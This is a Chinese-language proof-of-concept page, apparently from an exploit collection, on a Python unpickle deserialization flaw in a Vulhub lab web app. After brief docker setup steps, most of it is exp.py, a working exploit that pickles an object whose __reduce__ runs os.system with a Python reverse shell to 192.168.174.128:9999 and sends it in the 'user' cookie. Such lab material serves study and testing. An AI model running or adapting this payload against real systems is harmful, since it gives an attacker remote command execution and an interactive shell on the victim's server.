Awesome-POC/开发语言漏洞/Python unpickle 造成任意命令执行漏洞.md
2024-11-06 14:10:36 +08:00

51 lines
1.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Python unpickle 造成任意命令执行漏洞
## 漏洞描述
参考阅读:
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
## 环境搭建
Vulhub 编译及运行测试环境:
```
docker-compose build
docker-compose up -d
```
访问 `http://your-ip:8000`,显示 `Hello {username}!`
## 漏洞复现
username 是取 Cookie 变量 user对其进行 base64 解码 + 反序列化后还原的对象中的“username”变量默认为“Guest”伪代码`pickle_decode(base64_decode(cookie['user']))['username'] or 'Guest'`
调用 exp.py监听 9999 端口,反弹 shell
```python
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
response = requests.get("http://192.168.174.128:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)
```
![image-20220228172508273](images/202202281725409.png)